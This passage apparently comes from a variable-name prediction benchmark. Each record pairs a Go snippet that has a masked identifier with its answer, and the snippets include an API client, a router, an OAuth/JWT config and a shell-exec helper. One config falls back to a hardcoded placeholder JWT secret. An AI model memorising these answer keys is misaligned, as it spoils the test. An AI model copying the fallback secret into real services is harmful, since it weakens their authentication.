} rel, err := url.Parse(s) if err != nil { return nil, err } u := c.BaseURL.ResolveReference(rel) var buf io.ReadWriter if body != nil { buf = new(bytes.Buffer) err = json.NewEncoder(buf).Encode(body) if err != nil { return nil, err } } req, err := http.NewRequest(method, u.String(), buf) if err != nil { return nil, err } if body != nil { req.Header.Set(""Content-Type"", ""application/json"") } return req, nil } // Do sends an API request and returns the API response. The API response is // JSON decoded and stored in the value pointed to by v, or returned as an // error if an API error has occurred. If v implements the io.Writer // interface, the raw response body will be written to v, without attempting to // first decode it. // // The provided ctx must be non-nil. If it is canceled or times out, // ctx.Err() will be returned. // nolint: gocyclo func (c *Client) Do(ctx context.Context, req *http.Request, v interface{}) (*Response, error) { // If we've hit rate limit, don't make further requests before Reset time. if err := c.checkRateLimitBeforeDo(req); err != nil { return &Response{ Response: err.Response, Rate: err.Rate, }, err } req = req.WithContext(ctx) resp, err := c.client.Do(req) if err != nil { // If we got an error, and the context has been canceled, // the context's error is probably more useful. select { case <-ctx.Done(): return nil, ctx.Err() default: } // If the error type is *url.Error, sanitize its URL before returning. if e, ok := err.(*url.Error); ok { if url, err2 := url.Parse(e.URL); err2 == nil { e.URL = sanitizeURL(url).String() return nil, e } } return nil, err } defer func() { // Drain up to 512 bytes and close the body to let the Transport reuse the connection if _, err = io.CopyN(ioutil.Discard, resp.Body, 512); err != nil { c.err = err } if err = resp.Body.Close(); err != nil { c.err = err } }() response := newResponse(resp) c.rateMu.Lock() c.rateLimit = response.Rate c.rateMu.Unlock() err = CheckResponse(resp) if err != nil { // even though there was an error, we still return the response // in case the caller wants to inspect it further return response, err } if v != nil { if w, ok := v.(io.Writer); ok { _, err = io.Copy(w, resp.Body) } else { err = json.NewDecoder(resp.Body).Decode(v) if err == io.EOF { err = nil // ignore EOF errors caused by empty response body } } } return response, err } // checkRateLimitBeforeDo does not make any network calls, but uses existing knowledge from // current client state in order to quickly check if *RateLimitError can be immediately returned // from Client.Do, and if so, returns it so that Client.Do can skip making a network API call unnecessarily. // Otherwise it returns nil, and Client.Do should proceed normally. func (c *Client) checkRateLimitBeforeDo(req *http.Request) *RateLimitError { c.rateMu.Lock() rate := c.rateLimit c.rateMu.Unlock() if !rate.Reset.Time.IsZero() && rate.Remaining == 0 && time.Now().Before(rate.Reset.Time) { // Create a fake response. resp := &http.Response{ Status: http.StatusText(http.StatusTooManyRequests), StatusCode: http.StatusTooManyRequests, Request: req, Header: make(http.Header), Body: ioutil.NopCloser(strings.NewReader("""")), } return &RateLimitError{ Rate: rate, Response: resp, Message: fmt.Sprintf(""API rate limit of %v still exceeded until %v, not making remote request."", rate.Limit, rate.Reset.Time), } } return nil } // sanitizeURL redacts the access_token parameter from the URL which may be // exposed to the user. func sanitizeURL(uri *url.URL) *url.URL { if uri == nil { return nil } params := uri.Query() if len(params.Get(""access_token"")) > 0 { params.Set(""access_token"", """") uri.RawQuery = params.Encode() } return uri } // An ErrorResponse reports one or more errors caused by an API request. type ErrorResponse struct { Response *http.Response // HTTP response that caused this error Message string `json:""message""` // error message ErrorStr string `json:""error""` // more detail about an error err error // CheckResponse error } func (r *ErrorResponse) Error() string { return fmt.Sprintf(""%v %v: %d %v %+v"", r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), r.Response.StatusCode, r.Message, r.ErrorStr) } // RateLimitError occurs when esa returns 429 Too Many Requests response with a rate limit // remaining value of 0, and error message starts with ""API rate limit exceeded for "". type RateLimitError struct { Rate Rate // Rate specifies last known rate limit for the client Response *http.Response // HTTP response that caused this error Message string `json:""message""` // error message } func (r *RateLimitError) Error() string { return fmt.Sprintf(""%v %v: %d %v %v"", r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), r.Response.StatusCode, r.Message, r.Rate.Reset.Time.Sub(time.Now())) } // CheckResponse checks the API response for errors, and returns them if // present. A response is considered an error if it has a status code not // equal to 200, 201, or 204. // API error responses are expected to have either no response // body, or a JSON response body that maps to ErrorResponse. Any other // response body will be silently ignored. func CheckResponse(r *http.Response) error { if c := r.StatusCode; c == 200 || c == 201 || c == 204 { return nil } [MASK] := &ErrorResponse{Response: r} data, err := ioutil.ReadAll(r.Body) if err == nil && data != nil { err = json.Unmarshal(data, [MASK] ) if err != nil { [MASK] .err = errors.New(""Not JSON"") } } switch r.StatusCode { case http.StatusTooManyRequests: return &RateLimitError{ Rate: parseRate(r), Response: [MASK] .Response, Message: [MASK] .Message, } default: return [MASK] } } ",errorResponse 387,"package errors import ( stderrors ""errors"" ) type err struct { original error wrapped error } // New creates a new error by using the genesis error func New(text string) error { return err{ original: genesisErr{text}, wrapped: nil, } } func (e err) Error() string { var original string var wrapped string if e.wrapped == nil { return e.original.Error() } wrapped = e.wrapped.Error() if e.original != nil { original = e.original.Error() } return wrapped + "": "" + original } func (e err) Is( [MASK] error) bool { if e == [MASK] { return true } if stderrors.Is(e.original, [MASK] ) { return true } return stderrors.Is(e.wrapped, [MASK] ) } func (e err) Unwrap() error { return e.original } // Wrap new error into an existing error func Wrap(original error, wrapped error) error { return err{ original: original, wrapped: wrapped, } } ",target 388,"package Soluation import ""sort"" var ( p map[int]int rank map[int]int ) func longestConsecutive(nums []int) int { l := len(nums) if l < 1 { return 0 } p, rank = initialize(nums) [MASK] := make(map[int]int) for _, v := range nums { [MASK] [v] = 1 if _, ok := [MASK] [v-1]; ok { union(v, v-1) } if _, ok := [MASK] [v+1]; ok { union(v, v+1) } } ans := 0 for _, v := range rank { if v > ans { ans = v } } return ans } func initialize(nums []int) (map[int]int, map[int]int) { p, rank = make(map[int]int), make(map[int]int) for _, v := range nums { p[v] = v rank[v] = 1 } return p, rank } func find(x int) int { if p[x] != x { p[x] = find(p[x]) } return p[x] } func union(x, y int) { x = find(x) y = find(y) if x != y { if rank[x] >= rank[y] { rank[x] += rank[y] p[y] = x } else { rank[y] += rank[x] p[x] = y } } } func longestConsecutive1(nums []int) int { if len(nums) == 0 { return 0 } sort.Ints(nums) ans, tmp := 0, 1 for idx := 1; idx < len(nums); idx++ { r := nums[idx] - nums[idx-1] if r == 1 || r == 0 { if r == 1 { tmp++ } continue } if tmp > ans { ans = tmp } tmp = 1 } if tmp > ans { return tmp } return ans } ",hash 389,"package scheduler import ( ""github.com/YoYoContainerService/xpu-scheduler-extender/pkg/cache"" ""github.com/YoYoContainerService/xpu-scheduler-extender/pkg/utils"" ) func (in Inspect) Handler(name string) *Result { [MASK] := []*Node{} errMsg := """" if len(name) == 0 { nodeInfos := in.cache.GetNodeinfos() for _, info := range nodeInfos { [MASK] = append( [MASK] , buildNode(info)) } } else { node, err := in.cache.GetNodeInfo(name) if err != nil { errMsg = err.Error() } // nodeInfos = append(nodeInfos, node) [MASK] = append( [MASK] , buildNode(node)) } return &Result{ Nodes: [MASK] , Error: errMsg, } } func buildNode(info *cache.NodeInfo) *Node { devInfos := info.GetDevs() devs := []*Device{} var usedGPU uint for i, devInfo := range devInfos { dev := &Device{ ID: i, TotalGPU: devInfo.GetDevTotalXPUShares(), UsedGPU: devInfo.GetDevUsedXPUShares(), } podInfos := devInfo.GetPods() pods := []*Pod{} for _, podInfo := range podInfos { if utils.AssignedNonTerminatedPod(podInfo) { pod := &Pod{ Namespace: podInfo.Namespace, Name: podInfo.Name, UsedGPU: utils.GetRequestXPUSharesFromPodResource(podInfo), } pods = append(pods, pod) } } dev.Pods = pods devs = append(devs, dev) usedGPU += devInfo.GetDevUsedXPUShares() } return &Node{ Name: info.GetName(), TotalGPU: uint(info.GetNodeTotalGPUMemory()), UsedGPU: usedGPU, Devices: devs, } } ",nodes 390,"package gluon import ""net/http"" func (r *router) Get(path string, handler interface{}) { r.do(""GET"", path, handler) } func (r *router) Post(path string, handler interface{}) { r.do(""POST"", path, handler) } func (r *router) Put(path string, handler interface{}) { r.do(""PUT"", path, handler) } func (r *router) Patch(path string, handler interface{}) { r.do(""PATCH"", path, handler) } func (r *router) Head(path string, handler interface{}) { r.do(""HEAD"", path, handler) } func (r *router) Delete(path string, handler interface{}) { r.do(""DELETE"", path, handler) } func (r *router) Options(path string, handler interface{}) { r.do(""OPTIONS"", path, handler) } func (r *router) Trace(path string, handler interface{}) { r.do(""TRACE"", path, handler) } func (r *router) do( [MASK] , path string, handler interface{}) { if path[0] != '/' { path = ""/"" + path } switch h := handler.(type) { case http.Handler: defaultRouter.Handle( [MASK] , r.basePath+path, httprouterHandler( r.middlewareStack.Then(h), ), ) case func(http.ResponseWriter, *http.Request): defaultRouter.Handle( [MASK] , r.basePath+path, httprouterHandler( r.middlewareStack.Then( http.HandlerFunc(h), ), ), ) case func(http.ResponseWriter, *http.Request) *HandlerError: defaultRouter.Handle( [MASK] , r.basePath+path, httprouterHandler( r.middlewareStack.Then( handlerFuncError(h), ), ), ) default: Logger.Fatalf(""Wrong type for handler: %T\n"", h) } } ",method 391,"package config import ( ""os"" ""time"" ""golang.org/x/oauth2"" ""golang.org/x/oauth2/google"" ) type AuthConfig struct { GoogleOAuth *oauth2.Config JWTSecret string JWTExpiration time.Duration CookieDomain string CookieSecure bool CookieHttpOnly bool CookieSameSite string } func NewAuthConfig() *AuthConfig { googleOAuth := &oauth2.Config{ ClientID: os.Getenv(""GOOGLE_CLIENT_ID""), ClientSecret: os.Getenv(""GOOGLE_CLIENT_SECRET""), RedirectURL: os.Getenv(""GOOGLE_REDIRECT_URL""), Scopes: []string{ ""https://www.googleapis.com/auth/userinfo.email"", ""https://www.googleapis.com/auth/userinfo.profile"", }, Endpoint: google.Endpoint, } jwtSecret := os.Getenv(""JWT_SECRET"") if jwtSecret == """" { jwtSecret = ""your-super-secret-key-change-this-in-production"" } jwtExpiration := 24 * time.Hour // 24 hours if exp := os.Getenv(""JWT_EXPIRATION_HOURS""); exp != """" { if hours, err := time.ParseDuration(exp + ""h""); err == nil { jwtExpiration = hours } } cookieDomain := os.Getenv(""COOKIE_DOMAIN"") if cookieDomain == """" { cookieDomain = ""localhost"" } [MASK] := os.Getenv(""COOKIE_SECURE"") == ""true"" cookieHttpOnly := os.Getenv(""COOKIE_HTTP_ONLY"") != ""false"" // Default to true cookieSameSite := os.Getenv(""COOKIE_SAME_SITE"") if cookieSameSite == """" { cookieSameSite = ""Lax"" } return &AuthConfig{ GoogleOAuth: googleOAuth, JWTSecret: jwtSecret, JWTExpiration: jwtExpiration, CookieDomain: cookieDomain, CookieSecure: [MASK] , CookieHttpOnly: cookieHttpOnly, CookieSameSite: cookieSameSite, } } ",cookieSecure 392,"package main import ( ""fmt"" ""rsc.io/quote"" ) // note: lowercase variables are local to the package and not are not exported var ( packageScoped int = 99 ) func main() { // can declare a variable fully.. var singleVariable float32 = 1.1 // or in a block var ( packageScoped int = 88 // ""shadowing"" (overriding a higher scope) ) // or let Go work it out with a short form declaration.. [MASK] := float32(packageScoped) // cast the int to a float32 as well aString := ""this is a string"" // uninitialised variables have a 0/false/empty value by default var myBool bool // false var myInt int // 0 var myString string // """" helloString := ""hello 明"" // utf-8: 6 bytes for ""hello "" and 3 bytes for ""明"" = 9 bytes (uint8) helloBytes := []byte(helloString) // slice of string now represented as 9x uint8 helloRune := []rune(helloString) // slice of string now represented as 7x int32 fmt.Println(quote.Go()) fmt.Printf(""(%T) %v\n"", singleVariable, singleVariable) fmt.Printf(""(%T) %v\n"", packageScoped, packageScoped) fmt.Printf(""(%T) %f\n"", [MASK] , [MASK] ) // being specific with the format fmt.Printf(""(%T) %v\n"", aString, aString) fmt.Printf(""defaults: %T=%v, %T=%v, %T=%v\n"", myBool, myBool, myInt, myInt, myString, myString) fmt.Printf("" string size: %v (%T of length %d)\n"", helloString, helloString, len(helloString)) fmt.Printf(""as byte size: %v (%T of length %d)\n"", helloBytes, helloBytes, len(helloBytes)) fmt.Printf(""as rune size: %v (%T of length %d)\n"", helloRune, helloRune, len(helloRune)) }",myVariable 393,"package main import ( ""archive/tar"" ""fmt"" ""io"" ""log"" ""os"" ) // addToArchive writes a given file into a .tar file // Returns nill if the operation is succeeded func addToArchive(filename string, tw *tar.Writer) error { // Open the file to archive into tar file. file, err := os.Open(filename) if err != nil { return err } defer file.Close() // Get the FileInfo struct that describe the file. fileinfo, err := file.Stat() // Create a pointer to tar.Header struct hdr := &tar.Header{ ModTime: fileinfo.ModTime(), // modified time Name: filename, // name of header Size: fileinfo.Size(), // length in bytes Mode: int64(fileinfo.Mode().Perm()), // permission and mode bits } // WriteHeader writes tar.Header and prepares to accept the file's contents. if err := tw.WriteHeader(hdr); err != nil { return err } // Write the file contents to the tar file. copied, err := io.Copy(tw, file) if err != nil { return err } // Check the size of copied file with the source file. if copied < fileinfo.Size() { return fmt.Errorf(""Size of the copied file doesn't match with source file %s: %s"", filename, err) } return nil } // archiveFiles archives a group of given files into a tar file. func archiveFiles(files []string, archive string) error { // Flags for open the tar file. [MASK] := os.O_WRONLY | os.O_CREATE | os.O_TRUNC // Open the tar file file, err := os.OpenFile(archive, [MASK] , 0644) if err != nil { return err } defer file.Close() // Create a new Writer writing to given file object. // Writer provides sequential writing of a tar archive in POSIX.1 format. tw := tar.NewWriter(file) defer tw.Close() // Iterate through the files to write each file into the tar file. for _, filename := range files { // Write the file into tar file. if err := addToArchive(filename, tw); err != nil { return err } } return nil } // readArchive reads the file contents from tar file. func readArchive(archive string) error { // Open the tar archive file. file, err := os.Open(archive) if err != nil { return err } defer file.Close() // Create the tar.Reader to read the tar archive. // A Reader provides sequential access to the contents of a tar archive. tr := tar.NewReader(file) // Iterate through the files in the tar archive. for { hdr, err := tr.Next() if err == io.EOF { // End of tar archive fmt.Println(""end"") break } if err != nil { return err } size := hdr.Size contents := make([]byte, size) read, err := io.ReadFull(tr, contents) // Check the size of file contents if int64(read) != size { return fmt.Errorf(""Size of the opened file doesn't match with the file %s"", hdr.Name) } // hdr.Name returns the file name. fmt.Printf(""Contents of the file %s:\n"", hdr.Name) // Writing the file contents into Stdout. fmt.Fprintf(os.Stdout, ""\n%s"", contents) } return nil } func main() { // Name of the tar file archive := ""source.tar"" // Files to be archived in tar format files := []string{""main.go"", ""readme.txt""} // Archive files into tar format err := archiveFiles(files, archive) if err != nil { log.Fatalf(""Error while writing to tar file:%s"", err) } // Archiving is sucsess. fmt.Println(""The tar file source.tar has been created"") // Read the file contents of tar file err = readArchive(archive) if err != nil { log.Fatalf(""Error while reading the tar file:%s"", err) } } ",flags 394,"package command import ( ""bufio"" ""fmt"" ""io"" ""os/exec"" ""syscall"" ""time"" ) // 执行一个shell命令,通过shell参数控制使用/bin/sh还是/bin/bash,获取其标准输出和标准错误 func runShell(shell string, cmd string) ([]byte, []byte, error) { var stdoutMsg, stderrMsg []byte cmdStuct := exec.Command(shell, ""-c"", cmd) stdout, err := cmdStuct.StdoutPipe() if err != nil { return stdoutMsg, stderrMsg, fmt.Errorf(""创建stdout命令管道失败: CMD: %s ERROR: %s"", cmd, err.Error()) } defer stdout.Close() stderr, err := cmdStuct.StderrPipe() if err != nil { return stdoutMsg, stderrMsg, fmt.Errorf(""创建stderr命令管道失败: CMD: %s ERROR: %s"", cmd, err.Error()) } defer stderr.Close() if err = cmdStuct.Start(); err != nil { return stdoutMsg, stderrMsg, fmt.Errorf(""启动命令失败: CMD: %s ERROR: %s"", cmd, err.Error()) } stdoutMsg, err = io.ReadAll(stdout) if err != nil { return stdoutMsg, stderrMsg, fmt.Errorf(""获取命令执行标准输出失败: CMD: %s ERROR: %s"", cmd, err.Error()) } stderrMsg, err = io.ReadAll(stderr) if err != nil { return stdoutMsg, stderrMsg, fmt.Errorf(""获取命令标准错误失败: CMD: %s ERROR: %s"", cmd, err.Error()) } // 等待子进程结束,并从操作系统中移除进程表项 if err = cmdStuct.Wait(); err != nil { return stdoutMsg, stderrMsg, fmt.Errorf(""等待命令执行结束失败: CMD: %s ERROR: %s"", cmd, err.Error()) } // Wait() 方法会阻塞当前的 goroutine,直到子进程结束。如果需要在等待子进程的同时执行其他任务,可以将 cmdStruct.Wait() 方法放在一个 goroutine 中执行 // go func() { // // 等待子进程结束,并从操作系统中移除进程表项 // // 不进行Wait()调用,会产生僵尸进程的 // if err = cmdStuct.Wait(); err != nil { // logrus.Error(""等待命令执行结束失败: CMD: %s ERROR: %s"", cmd, err.Error()) // } // }() return stdoutMsg, stderrMsg, err } // 封装shell执行命令方法,提供友好的输出 func Run(tag, shell, cmd string) (string, string, error) { stdout, stderr, err := runShell(shell, cmd) // 不知道之前为什么写个了bash %s,加上这个会导致java命令无法运行...报错为: 无法执行二进制文件 // stdout, stderr, err := runShell(shell, fmt.Sprintf(""bash %s"", cmd)) return string(stdout), string(stderr), err } // 通过/bin/sh shell执行命令 func RunBySh(tag, cmd string) (string, string, error) { return Run(tag, ""/bin/sh"", cmd) } // 通过/bin/bash shell执行命令 func RunByBash(tag, cmd string) (string, string, error) { return Run(tag, ""/bin/bash"", cmd) } // 异步执行命令, 实时获取命令输出 func RunCmdStream(tag, shell, cmd string, stdoutChan, stderrChan, shutdownChan chan string) error { cmdStuct := exec.Command(shell, ""-c"", cmd) stdout, err := cmdStuct.StdoutPipe() if err != nil { return fmt.Errorf(""创建stdout命令管道失败: CMD: %s ERROR: %s"", cmd, err.Error()) } defer stdout.Close() stderr, err := cmdStuct.StderrPipe() if err != nil { return fmt.Errorf(""创建stderr命令管道失败: CMD: %s ERROR: %s"", cmd, err.Error()) } defer stderr.Close() if err = cmdStuct.Start(); err != nil { return fmt.Errorf(""启动命令失败: CMD: %s ERROR: %s"", cmd, err.Error()) } // 程序退出时kill子进程 Ref: https://colobu.com/2020/12/27/go-with-os-exec/ /* 在 Linux 平台编译 Windows 时,会出现 unknown field Setpgid in struct literal of type syscall.SysProcAttr 的错误, 这是因为 Setpgid 是 Linux 特有的一个系统调用,在 Windows 平台上并不存在。 解决此问题的方法是将 Setpgid 字段从 syscall.SysProcAttr 结构体中移除 */ cmdStuct.SysProcAttr = &syscall.SysProcAttr{Setpgid: false} // 异步启动命令 err = cmdStuct.Start() if err != nil && err.Error() != ""exec: already started"" { return fmt.Errorf(""异步启动命令失败: %s"", err.Error()) } // 获取实时标准输出 go func() { stdoutScanner := bufio.NewScanner(stdout) // 实时循环读取流中的一行内容 for stdoutScanner.Scan() { stdoutLine := stdoutScanner.Text() // fmt.Println(stdoutLine) stdoutChan <- stdoutLine } // 获取实时标准错误 [MASK] := bufio.NewScanner(stderr) for [MASK] .Scan() { stderrLine := [MASK] .Text() stderrChan <- stderrLine } }() // 等待接受退出信号 go func() { for { shutdownSignal, ok := <-shutdownChan if !ok { break } if shutdownSignal == ""exit"" { // kill子进程 syscall.Kill(cmdStuct.Process.Pid, syscall.SIGKILL) } else { time.Sleep(3000 * time.Millisecond) } } }() // 阻塞等待命令结束 err = cmdStuct.Wait() if err != nil && err.Error() != ""signal: killed"" { return fmt.Errorf(""阻塞异步命令任务失败: %s"", err.Error()) } return err } ",stderrScanner 395,"/* * Copyright 2018 InfAI (CC SES) * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package lib import ( ""encoding/json"" ""errors"" ""fmt"" ""log"" ""strings"" ""github.com/SmartEnergyPlatform/jwt-http-router"" ""github.com/SmartEnergyPlatform/process-deployment/lib/com"" ""github.com/SmartEnergyPlatform/process-deployment/lib/etree"" ""github.com/SmartEnergyPlatform/process-deployment/lib/model"" ""github.com/SmartEnergyPlatform/process-deployment/lib/util"" ""github.com/satori/go.uuid"" ) const CAMUNDA_VARIABLES_PAYLOAD = ""payload"" const CAMUNDA_VARIABLES_DATA_EXPORT_CONFIG = ""config"" func CloneAbstractProcess(id string, jwtimpersonate jwt_http_router.JwtImpersonate, owner string) (result model.AbstractProcess, err error) { [MASK] , err := GetMetadata(id, owner) if err != nil { return result, err } result = [MASK] .Abstract for index, param := range result.AbstractTasks { param.Options, err = com.GetDeviceInstancesFromType(param.DeviceTypeId, jwtimpersonate) if err != nil { return result, err } result.AbstractTasks[index] = param } return } func GetBpmnAbstractPrepare(xmlValue string, jwtimpersonate jwt_http_router.JwtImpersonate) (resp model.AbstractProcess, err error) { resp.Xml = xmlValue defer func() { if r := recover(); r != nil && err == nil { err = errors.New(fmt.Sprint(""Recovered Error: "", r)) } }() doc := etree.NewDocument() err = doc.ReadFromString(xmlValue) if err != nil { return } resp.Name = doc.FindElement(""//bpmn:process"").SelectAttr(""id"").Value reuseIds := map[string]string{} //map[taskId]reuseId for _, lane := range doc.FindElements(""//bpmn:lane"") { laneId := lane.SelectAttr(""id"").Value for _, taskRef := range lane.FindElements(""bpmn:flowNodeRef"") { reuseIds[taskRef.Text()] = laneId } } abstractBpmnMsgs := []model.BpmnAbstractMsg{} abstractDataExportTasks := []model.AbstractDataExportTask{} for _, task := range doc.FindElements(""//bpmn:serviceTask"") { topic := task.SelectAttr(""camunda:topic"") if topic != nil { if topic.Value == util.Config.IotTaskTopic { log.Println(""DEBUG: service task is execute_in_dose"") abstract, err := GetAbstractTask(task) if err != nil { return resp, err } abstract.ReuseId = reuseIds[abstract.TaskId] abstractBpmnMsgs = append(abstractBpmnMsgs, abstract) } else { log.Println(""DEBUG: service task is export"") abstract, err := getAbstractDataExportTask(task, jwtimpersonate) if err != nil { return resp, err } abstractDataExportTasks = append(abstractDataExportTasks, abstract) } } } for _, eventDefiniton := range doc.FindElements(""//bpmn:messageEventDefinition"") { shapeId := eventDefiniton.Parent().SelectAttr(""id"").Value resp.MsgEvents = append(resp.MsgEvents, model.MsgEvent{Filter: createDefaultFilter(), ShapeId: shapeId}) } for _, receiveTask := range doc.FindElements(""//bpmn:receiveTask"") { shapeId := receiveTask.SelectAttr(""id"").Value resp.ReceiveTasks = append(resp.ReceiveTasks, model.MsgEvent{Filter: createDefaultFilter(), ShapeId: shapeId}) } for _, timeEventDefinition := range doc.FindElements(""//bpmn:timerEventDefinition"") { shapeId := timeEventDefinition.Parent().SelectAttr(""id"").Value timeEvent := model.TimeEvent{ShapeId: shapeId} for _, child := range timeEventDefinition.ChildElements() { timeEvent.Kind = child.Tag timeEvent.Time = child.Text() } if timeEvent.Kind == """" { if timeEventDefinition.Parent().Tag == ""startEvent"" { timeEvent.Kind = ""timeCycle"" } else { timeEvent.Kind = ""timeDuration"" } } resp.TimeEvents = append(resp.TimeEvents, timeEvent) } resp.AbstractTasks, err = getAbstractParameters(abstractBpmnMsgs, jwtimpersonate) resp.AbstractDataExportTasks = abstractDataExportTasks return } func createDefaultFilter() model.Filter { return model.Filter{Scope: ""none""} } func GetAbstractTask(task *etree.Element) (result model.BpmnAbstractMsg, err error) { script := task.FindElement(""//camunda:inputParameter[@name='"" + CAMUNDA_VARIABLES_PAYLOAD + ""']"") err = json.Unmarshal([]byte(script.Text()), &result) if err != nil { return result, err } result.TaskId = task.SelectAttr(""id"").Value result.Parameter, err = getAbstractTaskParameter(task) return } func getAbstractTaskParameter(task *etree.Element) (result []model.TaskParameter, err error) { defer func() { if r := recover(); r != nil && err == nil { err = errors.New(fmt.Sprint(""Recovered Error: getAbstractTaskParameter() "", r)) } }() for _, input := range task.FindElements(""//camunda:inputParameter"") { name := input.SelectAttr(""name"").Value value := input.Text() path := strings.SplitN(name, ""."", 2) if len(path) == 2 && path[0] == ""inputs"" && path[1] != """" && value == """" && len(input.ChildElements()) == 0 { result = append(result, model.TaskParameter{Name: name, Value: value}) } } return result, err } func getAbstractParameters(abstractBpmnMsgs []model.BpmnAbstractMsg, jwtimpersonate jwt_http_router.JwtImpersonate) (result []model.AbstractTask, err error) { grouping := map[string][]model.BpmnAbstractMsg{} for _, abstract := range abstractBpmnMsgs { id := """" if abstract.ReuseId != """" { id = abstract.ReuseId + ""."" + abstract.DeviceType } else { id = abstract.TaskId + ""."" + abstract.DeviceType } grouping[id] = append(grouping[id], abstract) } cache := &map[string]model.AbstractTask{} for _, group := range grouping { param, err := toAbstractParameter(group[0], cache, jwtimpersonate) if err != nil { return result, err } for _, task := range group { param.Tasks = append(param.Tasks, model.Task{ Id: task.TaskId, Label: task.Label, ServiceId: task.Service, Values: task.Values, Parameter: task.Parameter, }) } result = append(result, param) } return } func toAbstractParameter(abstract model.BpmnAbstractMsg, cache *map[string]model.AbstractTask, jwtimpersonate jwt_http_router.JwtImpersonate) (result model.AbstractTask, err error) { if cache == nil { cache = &map[string]model.AbstractTask{} } ok := false if result, ok = (*cache)[abstract.DeviceType]; !ok { result.DeviceTypeId = abstract.DeviceType result.Options, err = com.GetDeviceInstancesFromType(abstract.DeviceType, jwtimpersonate) (*cache)[abstract.DeviceType] = result } return } func InstantiateAbstractProcess(msg model.AbstractProcess, impersonate jwt_http_router.JwtImpersonate, userId string) (xmlString string, err error) { //catch etree exceptions/panics defer func() { if r := recover(); r != nil && err == nil { inp, _ := json.Marshal(msg) err = errors.New(fmt.Sprint(""Recovered Error: "", r, string(inp))) } }() //use etree to set new process name in xml doc := etree.NewDocument() err = doc.ReadFromString(msg.Xml) if err != nil { return } processId := doc.FindElement(""//bpmn:process"").SelectAttr(""id"") for _, ref := range doc.FindElements(""//*[@bpmnElement='"" + processId.Value + ""']"") { ref.SelectAttr(""bpmnElement"").Value = msg.Name } processId.Value = msg.Name for _, param := range msg.AbstractTasks { taskInstance := model.BpmnMsg{ InstanceId: param.Selected.Id, } if err = com.CheckExecuteRight(param.Selected.Id, impersonate); err != nil { log.Println(""ERROR: com.CheckExecuteRight()"", err) return xmlString, err } for _, abstractTask := range param.Tasks { taskId := abstractTask.Id taskInstance.ServiceId = abstractTask.ServiceId taskInstance.Inputs = abstractTask.Values.Inputs taskInstance.Outputs = abstractTask.Values.Outputs taskInstanceText, err := json.Marshal(taskInstance) if err != nil { return xmlString, err } xpath := ""//bpmn:serviceTask[@id='"" + taskId + ""']//camunda:inputParameter[@name='"" + CAMUNDA_VARIABLES_PAYLOAD + ""']"" doc.FindElement(xpath).WriteCData(string(taskInstanceText)) //set new task name taskName := param.Selected.Name + "": "" + abstractTask.Label doc.FindElement(""//bpmn:serviceTask[@id='"" + taskId + ""']"").SelectAttr(""name"").Value = taskName for _, taskparam := range abstractTask.Parameter { paramName := taskparam.Name paramValue := taskparam.Value xpath := ""//bpmn:serviceTask[@id='"" + taskId + ""']//camunda:inputParameter[@name='"" + paramName + ""']"" doc.FindElement(xpath).WriteCData(paramValue) } } } for _, abstractDataExportTask := range msg.AbstractDataExportTasks { // TODO check permission in serving service with user id here or in service task abstractDataExportTask.UserId = userId taskInstanceText, err := json.Marshal(abstractDataExportTask) if err != nil { return xmlString, err } xpath := ""//bpmn:serviceTask[@id='"" + abstractDataExportTask.Id + ""']//camunda:inputParameter[@name='"" + CAMUNDA_VARIABLES_DATA_EXPORT_CONFIG + ""']"" doc.FindElement(xpath).WriteCData(string(taskInstanceText)) } for _, event := range msg.MsgEvents { if err = com.CheckExecuteRight(event.Filter.DeviceId, impersonate); err != nil { log.Println(""ERROR: msgevent com.CheckExecuteRight()"", err) return xmlString, err } id := uuid.NewV4() if err != nil { log.Println(""ERROR in uuid:"", err) return xmlString, err } msgRef := strings.Replace(""e_""+id.String(), ""-"", ""_"", -1) bpmnMsg := doc.CreateElement(""bpmn:message"") doc.SelectElement(""bpmn:definitions"").InsertChild(doc.SelectElement(""bpmn:definitions"").SelectElement(""bpmndi:BPMNDiagram""), bpmnMsg) bpmnMsg.CreateAttr(""id"", msgRef) bpmnMsg.CreateAttr(""name"", event.FilterId) doc.FindElement(""//*[@id='""+event.ShapeId+""']/bpmn:messageEventDefinition"").CreateAttr(""messageRef"", msgRef) } for _, event := range msg.ReceiveTasks { if err = com.CheckExecuteRight(event.Filter.DeviceId, impersonate); err != nil { log.Println(""ERROR: receiveevent com.CheckExecuteRight()"", err) return xmlString, err } id := uuid.NewV4() if err != nil { log.Println(""ERROR in uuid:"", err) return xmlString, err } msgRef := strings.Replace(""e_""+id.String(), ""-"", ""_"", -1) bpmnMsg := doc.CreateElement(""bpmn:message"") doc.SelectElement(""bpmn:definitions"").InsertChild(doc.SelectElement(""bpmn:definitions"").SelectElement(""bpmndi:BPMNDiagram""), bpmnMsg) bpmnMsg.CreateAttr(""id"", msgRef) bpmnMsg.CreateAttr(""name"", event.FilterId) doc.FindElement(""//*[@id='""+event.ShapeId+""']"").CreateAttr(""messageRef"", msgRef) } for _, event := range msg.TimeEvents { eventDef := doc.FindElement(""//*[@id='"" + event.ShapeId + ""']/bpmn:timerEventDefinition"") eventDef.Parent().CreateAttr(""name"", event.Label) //remove all children children := eventDef.ChildElements() for _, child := range children { eventDef.RemoveChild(child) } timeElement := doc.CreateElement(""bpmn:"" + event.Kind) timeElement.CreateAttr(""xsi:type"", ""bpmn:tFormalExpression"") timeElement.SetText(event.Time) eventDef.AddChild(timeElement) } xmlString, err = doc.WriteToString() return } func getAbstractDataExportTask(task *etree.Element, jwtimpersonate jwt_http_router.JwtImpersonate) (result model.AbstractDataExportTask, err error) { // creates the abstract task for data exports // for data exports you have to select a measurement id (= data export for a device instance service) and the name of the measurement field that should be used for aggregation script := task.FindElement(""//camunda:inputParameter[@name='"" + CAMUNDA_VARIABLES_DATA_EXPORT_CONFIG + ""']"") err = json.Unmarshal([]byte(script.Text()), &result) if err != nil { return result, err } result.Id = task.SelectAttr(""id"").Value return } ",metadata 396,"package demo01_helloworld import ( ""fmt"" ""testing"" ""time"" ""socketd"" ""socketd/transport/core/message"" ) func TestDemo01(t *testing.T) { SetLog() //启动服务器 go func() { err := socketd.SocketD.Config( socketd.WithSchema(""tcp""), socketd.WithHost(""0.0.0.0""), socketd.WithPort(8602), 